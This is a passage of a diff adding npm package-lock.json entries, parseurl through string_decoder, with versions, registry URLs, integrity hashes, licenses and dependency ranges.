"sha512-TYOanM3wGwNGsZN2cVTYPArw454xnXj5qmWF1bEoAc4+cU/ol7GVh7odevjp1FNHduHc3KZMcFduxU5Xc6uJRQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "yocto-queue": "^0.1.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/parseurl": { + "version": "1.3.3", + "resolved": "https://registry.npmjs.org/parseurl/-/parseurl-1.3.3.tgz", + "integrity": "sha512-CiyeOxFT/JZyN5m0z9PfXw4SCBJ6Sygz1Dpl0wqjlhDEGGBP1GnsUVEL0p63hoG1fcj3fHynXi9NYO4nWOL+qQ==", + "license": "MIT", + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/path-is-absolute": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/path-is-absolute/-/path-is-absolute-1.0.1.tgz", + "integrity": "sha512-AVbw3UJ2e9bq64vSaS9Am0fje1Pa8pbGqTTsmXfaIiMpnr5DlDhfJOuLj9Sf95ZPVDAUerDfEk88MPmPe7UCQg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/path-key": { + "version": "3.1.1", + "resolved": "https://registry.npmjs.org/path-key/-/path-key-3.1.1.tgz", + "integrity": "sha512-ojmeN0qd+y0jszEtoY48r0Peq5dwMEkIlCOu6Q5f41lfkswXuKtYrhgoTpLnyIcHm24Uhqx+5Tqm2InSwLhE6Q==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/path-to-regexp": { + "version": "8.4.2", + "resolved": "https://registry.npmjs.org/path-to-regexp/-/path-to-regexp-8.4.2.tgz", + "integrity": "sha512-qRcuIdP69NPm4qbACK+aDogI5CBDMi1jKe0ry5rSQJz8JVLsC7jV8XpiJjGRLLol3N+R5ihGYcrPLTno6pAdBA==", + "license": "MIT", + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/express" + } + }, + "node_modules/pe-library": { + "version": "0.4.1", + "resolved": "https://registry.npmjs.org/pe-library/-/pe-library-0.4.1.tgz", + "integrity": "sha512-eRWB5LBz7PpDu4PUlwT0PhnQfTQJlDDdPa35urV4Osrm0t0AqQFGn+UIkU3klZvwJ8KPO3VbBFsXquA6p6kqZw==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=12", + "npm": ">=6" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/jet2jet" + } + }, + "node_modules/picocolors": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/picocolors/-/picocolors-1.1.1.tgz", + "integrity": "sha512-xceH2snhtb5M9liqDsmEw56le376mTZkEX/jEb/RxNFyegNul7eNslCXP9FDj/Lcu0X8KEyMceP2ntpaHrDEVA==", + "dev": true, + "license": "ISC" + }, + "node_modules/picomatch": { + "version": "4.0.7", + "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-4.0.7.tgz", + "integrity": "sha512-qcJu88Q2IWqJsDD529JKMdwGm/dvInW4HvQnRwiH9JtihJvzGOscDtHE3x1pBKeUOTysQ8kVmLnJ2kJu7yhcGA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/sponsors/jonschlinkert" + } + }, + "node_modules/pkijs": { + "version": "3.4.1", + "resolved": "https://registry.npmjs.org/pkijs/-/pkijs-3.4.1.tgz", + "integrity": "sha512-Oo/NZcSWccq8KyoG7gLE9fnltgHns+pNCjCAp/WmjsUySi+sX7y4z4Xqu4fVb42CDHzRPl33fjzT15V1wvcyhA==", + "dev": true, + "license": "BSD-3-Clause", + "workspaces": [ + "website" + ], + "dependencies": { + "@noble/hashes": "1.8.0", + "asn1js": "^3.0.6", + "bytestreamjs": "^2.0.1", + "pvtsutils": "^1.3.6", + "pvutils": "^1.1.3", + "tslib": "^2.8.1" + }, + "engines": { + "node": ">=16.0.0" + } + }, + "node_modules/pkijs/node_modules/@noble/hashes": { + "version": "1.8.0", + "resolved": "https://registry.npmjs.org/@noble/hashes/-/hashes-1.8.0.tgz", + "integrity": "sha512-jCs9ldd7NwzpgXDIf6P3+NrHh9/sD6CQdxHyjQI+h/6rDNo88ypBxxz45UDuZHz9r3tNz7N/VInSVoVdtXEI4A==", + "dev": true, + "license": "MIT", + "engines": { + "node": "^14.21.3 || >=16" + }, + "funding": { + "url": "https://paulmillr.com/funding/" + } + }, + "node_modules/plist": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/plist/-/plist-3.1.0.tgz", + "integrity": "sha512-uysumyrvkUX0rX/dEVqt8gC3sTBzd4zoWfLeS29nb53imdaXVvLINYXTI2GNqzaMuvacNx4uJQ8+b3zXR0pkgQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "@xmldom/xmldom": "^0.8.8", + "base64-js": "^1.5.1", + "xmlbuilder": "^15.1.1" + }, + "engines": { + "node": ">=10.4.0" + } + }, + "node_modules/pngjs": { + "version": "7.0.0", + "resolved": "https://registry.npmjs.org/pngjs/-/pngjs-7.0.0.tgz", + "integrity": "sha512-LKWqWJRhstyYo9pGvgor/ivk2w94eSjE3RGVuzLGlr3NmD8bf7RcYGze1mNdEHRP6TRP6rMuDHk5t44hnTRyow==", + "license": "MIT", + "engines": { + "node": ">=14.19.0" + } + }, + "node_modules/postject": { + "version": "1.0.0-alpha.6", + "resolved": "https://registry.npmjs.org/postject/-/postject-1.0.0-alpha.6.tgz", + "integrity": "sha512-b9Eb8h2eVqNE8edvKdwqkrY6O7kAwmI8kcnBv1NScolYJbo59XUF0noFq+lxbC1yN20bmC0WBEbDC5H/7ASb0A==", + "dev": true, + "license": "MIT", + "optional": true, + "peer": true, + "dependencies": { + "commander": "^9.4.0" + }, + "bin": { + "postject": "dist/cli.js" + }, + "engines": { + "node": ">=14.0.0" + } + }, + "node_modules/postject/node_modules/commander": { + "version": "9.5.0", + "resolved": "https://registry.npmjs.org/commander/-/commander-9.5.0.tgz", + "integrity": "sha512-KRs7WVDKg86PWiuAqhDrAQnTXZKraVcCc6vFdL14qrZ/DcWwuRo7VoiYXalXO7S5GKpqYiVEwCbgFDfxNHKJBQ==", + "dev": true, + "license": "MIT", + "optional": true, + "peer": true, + "engines": { + "node": "^12.20.0 || >=14" + } + }, + "node_modules/proc-log": { + "version": "6.1.0", + "resolved": "https://registry.npmjs.org/proc-log/-/proc-log-6.1.0.tgz", + "integrity": "sha512-iG+GYldRf2BQ0UDUAd6JQ/RwzaQy6mXmsk/IzlYyal4A4SNFw54MeH4/tLkF4I5WoWG9SQwuqWzS99jaFQHBuQ==", + "dev": true, + "license": "ISC", + "engines": { + "node": "^20.17.0 || >=22.9.0" + } + }, + "node_modules/process-nextick-args": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/process-nextick-args/-/process-nextick-args-2.0.1.tgz", + "integrity": "sha512-3ouUOpQhtgrbOa17J7+uxOTpITYWaGP7/AhoR3+A+/1e9skrzelGi/dXzEYyvbxubEF6Wn2ypscTKiKJFFn1ag==", + "dev": true, + "license": "MIT" + }, + "node_modules/progress": { + "version": "2.0.3", + "resolved": "https://registry.npmjs.org/progress/-/progress-2.0.3.tgz", + "integrity": "sha512-7PiHtLll5LdnKIMw100I+8xJXR5gW2QwWYkT6iJva0bXitZKa/XMrSbdmg3r2Xnaidz9Qumd0VPaMrZlF9V9sA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=0.4.0" + } + }, + "node_modules/promise-retry": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/promise-retry/-/promise-retry-2.0.1.tgz", + "integrity": "sha512-y+WKFlBR8BGXnsNlIHFGPZmyDf3DFMoLhaflAnyZgV6rG6xu+JwesTo2Q9R6XwYmtmwAFCkAk3e35jEdoeh/3g==", + "dev": true, + "license": "MIT", + "dependencies": { + "err-code": "^2.0.2", + "retry": "^0.12.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/proper-lockfile": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/proper-lockfile/-/proper-lockfile-4.1.2.tgz", + "integrity": "sha512-TjNPblN4BwAWMXU8s9AEz4JmQxnD1NNL7bNOY/AKUzyamc379FWASUhc/K1pL2noVb+XmZKLL68cjzLsiOAMaA==", + "dev": true, + "license": "MIT", + "dependencies": { + "graceful-fs": "^4.2.4", + "retry": "^0.12.0", + "signal-exit": "^3.0.2" + } + }, + "node_modules/protobufjs": { + "version": "7.6.6", + "resolved": "https://registry.npmjs.org/protobufjs/-/protobufjs-7.6.6.tgz", + "integrity": "sha512-dYDWdjSl5RNb7SgPxGQcRU+GtvP7s2fpkrY0r432PcOIaZ0/rBcxEZnQN67iJhFuQiVw754JDoPruPCNdGsbjg==", + "hasInstallScript": true, + "license": "BSD-3-Clause", + "dependencies": { + "@protobufjs/aspromise": "^1.1.2", + "@protobufjs/base64": "^1.1.2", + "@protobufjs/codegen": "^2.0.5", + "@protobufjs/eventemitter": "^1.1.1", + "@protobufjs/fetch": "^1.1.1", + "@protobufjs/float": "^1.0.2", + "@protobufjs/path": "^1.1.2", + "@protobufjs/pool": "^1.1.0", + "@protobufjs/utf8": "^1.1.1", + "@types/node": ">=13.7.0", + "long": "^5.3.2" + }, + "engines": { + "node": ">=12.0.0" + } + }, + "node_modules/proxy-addr": { + "version": "2.0.8", + "resolved": "https://registry.npmjs.org/proxy-addr/-/proxy-addr-2.0.8.tgz", + "integrity": "sha512-5nnx0yGyVUcY6t9RnWcARWtwT9F1D8O9rt08htPvnd49W1IgZtmLkhu9WfMzQj1cFxjHIO6connUNVW5k7AVyQ==", + "license": "MIT", + "dependencies": { + "forwarded": "0.2.0", + "ipaddr.js": "1.9.1" + }, + "engines": { + "node": ">= 0.10" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/express" + } + }, + "node_modules/pump": { + "version": "3.0.4", + "resolved": "https://registry.npmjs.org/pump/-/pump-3.0.4.tgz", + "integrity": "sha512-VS7sjc6KR7e1ukRFhQSY5LM2uBWAUPiOPa/A3mkKmiMwSmRFUITt0xuj+/lesgnCv+dPIEYlkzrcyXgquIHMcA==", + "dev": true, + "license": "MIT", + "dependencies": { + "end-of-stream": "^1.1.0", + "once": "^1.3.1" + } + }, + "node_modules/pvtsutils": { + "version": "1.3.6", + "resolved": "https://registry.npmjs.org/pvtsutils/-/pvtsutils-1.3.6.tgz", + "integrity": "sha512-PLgQXQ6H2FWCaeRak8vvk1GW462lMxB5s3Jm673N82zI4vqtVUPuZdffdZbPDFRoU8kAhItWFtPCWiPpp4/EDg==", + "dev": true, + "license": "MIT", + "dependencies": { + "tslib": "^2.8.1" + } + }, + "node_modules/pvutils": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/pvutils/-/pvutils-1.2.0.tgz", + "integrity": "sha512-BbubeCEyTuQjVMakvJQ/Sxbc93F2pwmbsxONT/ZRrwU7Ua38d8unYTwXpTVLAKJ4BDuH9IGztCjQcd/N/39Dvg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=16.0.0" + } + }, + "node_modules/qs": { + "version": "6.16.0", + "resolved": "https://registry.npmjs.org/qs/-/qs-6.16.0.tgz", + "integrity": "sha512-h6fhOIaRrID2CbEY2fqs+7t+UXZo+MLAnU5gRIq85uFtdiUPCdsApMlHhXogKVM4HM2DVbIjGNTTYH2OcmP1vA==", + "license": "BSD-3-Clause", + "dependencies": { + "es-define-property": "^1.0.1", + "side-channel": "^1.1.1" + }, + "engines": { + "node": ">=0.6" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/quick-lru": { + "version": "5.1.1", + "resolved": "https://registry.npmjs.org/quick-lru/-/quick-lru-5.1.1.tgz", + "integrity": "sha512-WuyALRjWPDGtt/wzJiadO5AXY+8hZ80hVpe6MyivgraREW751X3SbhRvG3eLKOYN+8VEvqLcf3wdnt44Z4S4SA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/range-parser": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/range-parser/-/range-parser-1.3.0.tgz", + "integrity": "sha512-hek2mFQpPuI4E1BBKrSto+BU3e3x4xuarsbiwr3+lf7p44juvFMV0XFWQAP3xUyqXA4RrXLIoaSUGbSt056ZMw==", + "license": "MIT", + "engines": { + "node": ">= 0.6" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/express" + } + }, + "node_modules/raw-body": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/raw-body/-/raw-body-3.0.2.tgz", + "integrity": "sha512-K5zQjDllxWkf7Z5xJdV0/B0WTNqx6vxG70zJE4N0kBs4LovmEYWJzQGxC9bS9RAKu3bgM40lrd5zoLJ12MQ5BA==", + "license": "MIT", + "dependencies": { + "bytes": "~3.1.2", + "http-errors": "~2.0.1", + "iconv-lite": "~0.7.0", + "unpipe": "~1.0.0" + }, + "engines": { + "node": ">= 0.10" + } + }, + "node_modules/read-binary-file-arch": { + "version": "1.0.6", + "resolved": "https://registry.npmjs.org/read-binary-file-arch/-/read-binary-file-arch-1.0.6.tgz", + "integrity": "sha512-BNg9EN3DD3GsDXX7Aa8O4p92sryjkmzYYgmgTAc6CA4uGLEDzFfxOxugu21akOxpcXHiEgsYkC6nPsQvLLLmEg==", + "dev": true, + "license": "MIT", + "dependencies": { + "debug": "^4.3.4" + }, + "bin": { + "read-binary-file-arch": "cli.js" + } + }, + "node_modules/readable-stream": { + "version": "2.3.8", + "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.8.tgz", + "integrity": "sha512-8p0AUk4XODgIewSi0l8Epjs+EVnWiK7NoDIEGU0HhE7+ZyY8D1IMY7odu5lRrFXGg71L15KG8QrPmum45RTtdA==", + "dev": true, + "license": "MIT", + "dependencies": { + "core-util-is": "~1.0.0", + "inherits": "~2.0.3", + "isarray": "~1.0.0", + "process-nextick-args": "~2.0.0", + "safe-buffer": "~5.1.1", + "string_decoder": "~1.1.1", + "util-deprecate": "~1.0.1" + } + }, + "node_modules/require-directory": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/require-directory/-/require-directory-2.1.1.tgz", + "integrity": "sha512-fGxEI7+wsG9xrvdjsrlmL22OMTTiHRwAMroiEeMgq8gzoLC/PQr7RsRDSTLUg/bZAZtF+TVIkHc6/4RIKrui+Q==", + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/require-from-string": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/require-from-string/-/require-from-string-2.0.2.tgz", + "integrity": "sha512-Xf0nWe6RseziFMu+Ap9biiUbmplq6S9/p+7w7YXP/JBHhrUDDUhwa+vANyubuqfZWTveU//DYVGsDG7RKL/vEw==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/require-in-the-middle": { + "version": "8.0.1", + "resolved": "https://registry.npmjs.org/require-in-the-middle/-/require-in-the-middle-8.0.1.tgz", + "integrity": "sha512-QT7FVMXfWOYFbeRBF6nu+I6tr2Tf3u0q8RIEjNob/heKY/nh7drD/k7eeMFmSQgnTtCzLDcCu/XEnpW2wk4xCQ==", + "license": "MIT", + "dependencies": { + "debug": "^4.3.5", + "module-details-from-path": "^1.0.3" + }, + "engines": { + "node": ">=9.3.0 || >=8.10.0 <9.0.0" + } + }, + "node_modules/resedit": { + "version": "1.7.2", + "resolved": "https://registry.npmjs.org/resedit/-/resedit-1.7.2.tgz", + "integrity": "sha512-vHjcY2MlAITJhC0eRD/Vv8Vlgmu9Sd3LX9zZvtGzU5ZImdTN3+d6e/4mnTyV8vEbyf1sgNIrWxhWlrys52OkEA==", + "dev": true, + "license": "MIT", + "dependencies": { + "pe-library": "^0.4.1" + }, + "engines": { + "node": ">=12", + "npm": ">=6" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/jet2jet" + } + }, + "node_modules/resolve-alpn": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/resolve-alpn/-/resolve-alpn-1.2.1.tgz", + "integrity": "sha512-0a1F4l73/ZFZOakJnQ3FvkJ2+gSTQWz/r2KE5OdDY0TxPm5h4GkqkWWfM47T7HsbnOtcJVEF4epCVy6u7Q3K+g==", + "dev": true, + "license": "MIT" + }, + "node_modules/responselike": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/responselike/-/responselike-2.0.1.tgz", + "integrity": "sha512-4gl03wn3hj1HP3yzgdI7d3lCkF95F21Pz4BPGvKHinyQzALR5CapwC8yIi0Rh58DEMQ/SguC03wFj2k0M/mHhw==", + "dev": true, + "license": "MIT", + "dependencies": { + "lowercase-keys": "^2.0.0" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/retry": { + "version": "0.12.0", + "resolved": "https://registry.npmjs.org/retry/-/retry-0.12.0.tgz", + "integrity": "sha512-9LkiTwjUh6rT555DtE9rTX+BKByPfrMzEAtnlEtdEwr3Nkffwiihqe2bWADg+OQRjt9gl6ICdmB/ZFDCGAtSow==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 4" + } + }, + "node_modules/rimraf": { + "version": "2.6.3", + "resolved": "https://registry.npmjs.org/rimraf/-/rimraf-2.6.3.tgz", + "integrity": "sha512-mwqeW5XsA2qAejG46gYdENaxXjx9onRNCfn7L0duuP4hCuTIi/QO7PDK07KJfp1d+izWPrzEJDcSqBa0OZQriA==", + "deprecated": "Rimraf versions prior to v4 are no longer supported", + "dev": true, + "license": "ISC", + "peer": true, + "dependencies": { + "glob": "^7.1.3" + }, + "bin": { + "rimraf": "bin.js" + } + }, + "node_modules/roarr": { + "version": "2.15.4", + "resolved": "https://registry.npmjs.org/roarr/-/roarr-2.15.4.tgz", + "integrity": "sha512-CHhPh+UNHD2GTXNYhPWLnU8ONHdI+5DI+4EYIAOaiD63rHeYlZvyh8P+in5999TTSFgUYuKUAjzRI4mdh/p+2A==", + "dev": true, + "license": "BSD-3-Clause", + "optional": true, + "dependencies": { + "boolean": "^3.0.1", + "detect-node": "^2.0.4", + "globalthis": "^1.0.1", + "json-stringify-safe": "^5.0.1", + "semver-compare": "^1.0.0", + "sprintf-js": "^1.1.2" + }, + "engines": { + "node": ">=8.0" + } + }, + "node_modules/router": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/router/-/router-2.2.0.tgz", + "integrity": "sha512-nLTrUKm2UyiL7rlhapu/Zl45FwNgkZGaCpZbIHajDYgwlJCOzLSk+cIPAnsEqV955GjILJnKbdQC1nVPz+gAYQ==", + "license": "MIT", + "dependencies": { + "debug": "^4.4.0", + "depd": "^2.0.0", + "is-promise": "^4.0.0", + "parseurl": "^1.3.3", + "path-to-regexp": "^8.0.0" + }, + "engines": { + "node": ">= 18" + } + }, + "node_modules/safe-buffer": { + "version": "5.1.2", + "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.1.2.tgz", + "integrity": "sha512-Gd2UZBJDkXlY7GbJxfsE8/nvKkUEU1G38c1siN6QP6a9PT9MmHB8GnpscSmMJSoF8LOIrt8ud/wPtojys4G6+g==", + "dev": true, + "license": "MIT" + }, + "node_modules/safer-buffer": { + "version": "2.1.2", + "resolved": "https://registry.npmjs.org/safer-buffer/-/safer-buffer-2.1.2.tgz", + "integrity": "sha512-YZo3K82SD7Riyi0E1EQPojLz7kpepnSQI9IyPbHHg1XXXevb5dJI7tpyN2ADxGcQbHG7vcyRHk0cbwqcQriUtg==", + "license": "MIT" + }, + "node_modules/sanitize-filename": { + "version": "1.6.4", + "resolved": "https://registry.npmjs.org/sanitize-filename/-/sanitize-filename-1.6.4.tgz", + "integrity": "sha512-9ZyI08PsvdQl2r/bBIGubpVdR3RR9sY6RDiWFPreA21C/EFlQhmgo20UZlNjZMMZNubusLhAQozkA0Od5J21Eg==", + "dev": true, + "license": "WTFPL OR ISC", + "dependencies": { + "truncate-utf8-bytes": "^1.0.0" + } + }, + "node_modules/sax": { + "version": "1.6.1", + "resolved": "https://registry.npmjs.org/sax/-/sax-1.6.1.tgz", + "integrity": "sha512-42tBVwLWnaQvW5zc4HbZrTuWccECCZfBi92FDuwtqxasH+JbPB3/FOKb1m222K42R4WxuxzzMsTswfzgtSu64Q==", + "dev": true, + "license": "BlueOak-1.0.0", + "engines": { + "node": ">=11.0.0" + } + }, + "node_modules/semver": { + "version": "7.8.5", + "resolved": "https://registry.npmjs.org/semver/-/semver-7.8.5.tgz", + "integrity": "sha512-Y7/KDsb8LjooZpwaqGyulO6DQlksgCncchHGk+sZIY4SBvUocMBEFH5Ur1fI4dV+Jvl0w6cjvucaIi40puRioA==", + "dev": true, + "license": "ISC", + "bin": { + "semver": "bin/semver.js" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/semver-compare": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/semver-compare/-/semver-compare-1.0.0.tgz", + "integrity": "sha512-YM3/ITh2MJ5MtzaM429anh+x2jiLVjqILF4m4oyQB18W7Ggea7BfqdH/wGMK7dDiMghv/6WG7znWMwUDzJiXow==", + "dev": true, + "license": "MIT", + "optional": true + }, + "node_modules/send": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/send/-/send-1.2.1.tgz", + "integrity": "sha512-1gnZf7DFcoIcajTjTwjwuDjzuz4PPcY2StKPlsGAQ1+YH20IRVrBaXSWmdjowTJ6u8Rc01PoYOGHXfP1mYcZNQ==", + "license": "MIT", + "dependencies": { + "debug": "^4.4.3", + "encodeurl": "^2.0.0", + "escape-html": "^1.0.3", + "etag": "^1.8.1", + "fresh": "^2.0.0", + "http-errors": "^2.0.1", + "mime-types": "^3.0.2", + "ms": "^2.1.3", + "on-finished": "^2.4.1", + "range-parser": "^1.2.1", + "statuses": "^2.0.2" + }, + "engines": { + "node": ">= 18" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/express" + } + }, + "node_modules/serialize-error": { + "version": "7.0.1", + "resolved": "https://registry.npmjs.org/serialize-error/-/serialize-error-7.0.1.tgz", + "integrity": "sha512-8I8TjW5KMOKsZQTvoxjuSIa7foAwPWGOts+6o7sgjz41/qMD9VQHEDxi6PBvK2l0MXUmqZyNpUK+T2tQaaElvw==", + "dev": true, + "license": "MIT", + "optional": true, + "dependencies": { + "type-fest": "^0.13.1" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/serve-static": { + "version": "2.2.1", + "resolved": "https://registry.npmjs.org/serve-static/-/serve-static-2.2.1.tgz", + "integrity": "sha512-xRXBn0pPqQTVQiC8wyQrKs2MOlX24zQ0POGaj0kultvoOCstBQM5yvOhAVSUwOMjQtTvsPWoNCHfPGwaaQJhTw==", + "license": "MIT", + "dependencies": { + "encodeurl": "^2.0.0", + "escape-html": "^1.0.3", + "parseurl": "^1.3.3", + "send": "^1.2.0" + }, + "engines": { + "node": ">= 18" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/express" + } + }, + "node_modules/setprototypeof": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/setprototypeof/-/setprototypeof-1.2.0.tgz", + "integrity": "sha512-E5LDX7Wrp85Kil5bhZv46j8jOeboKq5JMmYM3gVGdGH8xFpPWXUMsNrlODCrkoxMEeNi/XZIwuRvY4XNwYMJpw==", + "license": "ISC" + }, + "node_modules/shebang-command": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/shebang-command/-/shebang-command-2.0.0.tgz", + "integrity": "sha512-kHxr2zZpYtdmrN1qDjrrX/Z1rR1kG8Dx+gkpK1G4eXmvXswmcE1hTWBWYUzlraYw1/yZp6YuDY77YtvbN0dmDA==", + "dev": true, + "license": "MIT", + "dependencies": { + "shebang-regex": "^3.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/shebang-regex": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/shebang-regex/-/shebang-regex-3.0.0.tgz", + "integrity": "sha512-7++dFhtcx3353uBaq8DDR4NuxBetBzC7ZQOhmTQInHEd6bSrXdiEyzCvG07Z44UYdLShWUyXt5M/yhz8ekcb1A==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/side-channel": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/side-channel/-/side-channel-1.1.1.tgz", + "integrity": "sha512-6x6dK6zJdpTzF4sQeNYxwtvBzf6Eg4GtlesS94HOvTudUeyK2WXAaIfmDgsyslYrRBeFIlsi54AYsFGUuhmvrQ==", + "license": "MIT", + "dependencies": { + "es-errors": "^1.3.0", + "object-inspect": "^1.13.4", + "side-channel-list": "^1.0.1", + "side-channel-map": "^1.0.1", + "side-channel-weakmap": "^1.0.2" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/side-channel-list": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/side-channel-list/-/side-channel-list-1.0.1.tgz", + "integrity": "sha512-mjn/0bi/oUURjc5Xl7IaWi/OJJJumuoJFQJfDDyO46+hBWsfaVM65TBHq2eoZBhzl9EchxOijpkbRC8SVBQU0w==", + "license": "MIT", + "dependencies": { + "es-errors": "^1.3.0", + "object-inspect": "^1.13.4" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/side-channel-map": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/side-channel-map/-/side-channel-map-1.0.1.tgz", + "integrity": "sha512-VCjCNfgMsby3tTdo02nbjtM/ewra6jPHmpThenkTYh8pG9ucZ/1P8So4u4FGBek/BjpOVsDCMoLA/iuBKIFXRA==", + "license": "MIT", + "dependencies": { + "call-bound": "^1.0.2", + "es-errors": "^1.3.0", + "get-intrinsic": "^1.2.5", + "object-inspect": "^1.13.3" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/side-channel-weakmap": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/side-channel-weakmap/-/side-channel-weakmap-1.0.2.tgz", + "integrity": "sha512-WPS/HvHQTYnHisLo9McqBHOJk2FkHO/tlpvldyrnem4aeQp4hai3gythswg6p01oSoTl58rcpiFAjF2br2Ak2A==", + "license": "MIT", + "dependencies": { + "call-bound": "^1.0.2", + "es-errors": "^1.3.0", + "get-intrinsic": "^1.2.5", + "object-inspect": "^1.13.3", + "side-channel-map": "^1.0.1" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/signal-exit": { + "version": "3.0.7", + "resolved": "https://registry.npmjs.org/signal-exit/-/signal-exit-3.0.7.tgz", + "integrity": "sha512-wnD2ZE+l+SPC/uoS0vXeE9L1+0wuaMqKlfz9AMUo38JsyLSBWSFcHR1Rri62LZc12vLr1gb3jl7iwQhgwpAbGQ==", + "dev": true, + "license": "ISC" + }, + "node_modules/simple-update-notifier": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/simple-update-notifier/-/simple-update-notifier-2.0.0.tgz", + "integrity": "sha512-a2B9Y0KlNXl9u/vsW6sTIu9vGEpfKu2wRV6l1H3XEas/0gUIzGzBoP/IouTcUQbm9JWZLH3COxyn03TYlFax6w==", + "dev": true, + "license": "MIT", + "dependencies": { + "semver": "^7.5.3" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/source-map": { + "version": "0.6.1", + "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz", + "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", + "dev": true, + "license": "BSD-3-Clause", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/source-map-support": { + "version": "0.5.21", + "resolved": "https://registry.npmjs.org/source-map-support/-/source-map-support-0.5.21.tgz", + "integrity": "sha512-uBHU3L3czsIyYXKX88fdrGovxdSCoTGDRZ6SYXtSRxLZUzHg5P/66Ht6uoUlHu9EZod+inXhKo3qQgwXUT/y1w==", + "dev": true, + "license": "MIT", + "dependencies": { + "buffer-from": "^1.0.0", + "source-map": "^0.6.0" + } + }, + "node_modules/sprintf-js": { + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/sprintf-js/-/sprintf-js-1.1.3.tgz", + "integrity": "sha512-Oo+0REFV59/rz3gfJNKQiBlwfHaSESl1pcGyABQsnnIfWOFt6JNj5gCog2U6MLZ//IGYD+nA8nI+mTShREReaA==", + "dev": true, + "license": "BSD-3-Clause", + "optional": true + }, + "node_modules/stat-mode": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/stat-mode/-/stat-mode-1.0.0.tgz", + "integrity": "sha512-jH9EhtKIjuXZ2cWxmXS8ZP80XyC3iasQxMDV8jzhNJpfDb7VbQLVW4Wvsxz9QZvzV+G4YoSfBUVKDOyxLzi/sg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 6" + } + }, + "node_modules/statuses": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/statuses/-/statuses-2.0.2.tgz", + "integrity": "sha512-DvEy55V3DB7uknRo+4iOGT5fP1slR8wQohVdknigZPMpMstaKJQWhwiYBACJE3Ul2pTnATihhBYnRhZQHGBiRw==", + "license": "MIT", + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/string_decoder": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.1.1.tgz", + "integrity": 